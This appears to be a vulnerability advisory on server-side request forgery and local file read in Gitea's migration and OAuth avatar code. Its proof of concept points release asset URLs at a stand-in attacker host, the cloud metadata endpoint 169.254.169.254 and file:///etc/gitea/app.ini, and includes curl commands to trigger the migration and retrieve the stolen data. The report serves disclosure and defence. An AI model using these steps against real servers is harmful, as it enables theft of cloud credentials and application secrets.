Summary Gitea has robust SSRF protection via "hostmatcher.NewDialContext()" for webhook and migration clone URLs, which validates resolved IPs at the TCP dial level. However, three code paths use raw "http.Get()" (Go's "DefaultClient") which completely bypasses this protection, enabling SSRF to internal services and local file read via the "file://" scheme. Vulnerable Code File: "modules/uri/uri.go" (line 32) -- Core vulnerability func Open(uriStr string) (io.ReadCloser, error) { u, err := url.Parse(uriStr) switch strings.ToLower(u.Scheme) { case "http", "https": f, err := http.Get(uriStr) // RAW http.Get -- no hostmatcher filtering return f.Body, nil case "file": return os.Open(u.Path) // LOCAL FILE READ via file:// scheme } } Callers in migration path: - "services/migrations/gitea_uploader.go:340" -- "uri.Open(*asset.DownloadURL)" for release assets - "services/migrations/gitea_uploader.go:586" -- "uri.Open(pr.PatchURL)" for PR patches File: "services/migrations/dump.go" (lines 312, 453) // Line 312 -- release asset download resp, err := http.Get(*asset.DownloadURL) // Line 453 -- PR patch download (with self-documenting TODO) resp, err := http.Get(u) // TODO: This probably needs to use the downloader File: "routers/web/auth/oauth.go" (line 306) func oauth2UpdateAvatarIfNeed(ctx *context.Context, url string, u *user_model.User) { resp, err := http.Get(url) // RAW http.Get -- no hostmatcher Contrast with protected migration clone (same codebase): // services/migrations/migrate.go:526 -- PROTECTED with hostmatcher transport.DialContext = hostmatcher.NewDialContext("migration", allowList, blockList, ...) PoC Step 1: Set up attacker Gitea instance with malicious release asset URLs Create a repo on evil.gitea.attacker.com with a release asset whose download_url points to internal services: Asset DownloadURL set to: http://169.254.169.254/latest/meta-data/iam/security-credentials/role Or: file:///etc/gitea/app.ini (local file read) Step 2: Admin triggers migration from attacker's Gitea instance curl -s -X POST "https://target-gitea.com/api/v1/repos/migrate" -H "Authorization: token ADMIN_API_TOKEN" -H "Content-Type: application/json" -d '{ "clone_addr": "https://evil.gitea.attacker.com/user/repo.git", "repo_name": "migrated-repo", "repo_owner": "admin", "service": "gitea" }' Step 3: During migration, Gitea downloads release assets using unfiltered http.Get() Cloud metadata is saved as the release asset attachment in the migrated repo Or app.ini contents (with DB credentials, JWT secrets) are saved via file:// scheme Step 4: Attacker accesses the migrated repo's release assets to retrieve stolen data curl -s "https://target-gitea.com/admin/migrated-repo/releases/download/v1.0/stolen-metadata.txt" Impact - Cloud metadata theft: "169.254.169.254" reachable via unfiltered "http.Get()" (AWS IMDSv1 credentials, GCP tokens) - Local file read: "file://" scheme in "uri.Open()" reads "/etc/gitea/app.ini" (database credentials, JWT signing secrets, SMTP passwords) - Internal service scanning: Reach "127.0.0.1", "10.x", "172.16-31.x", "192.168.x" networks - Bypasses existing SSRF protection: The "hostmatcher" dialer is comprehensive but only applied to webhook and clone transports -- these three paths are unprotected - Migration vectors require migration permission (admin/org owner); OAuth vector requires admin-configured custom OAuth2 source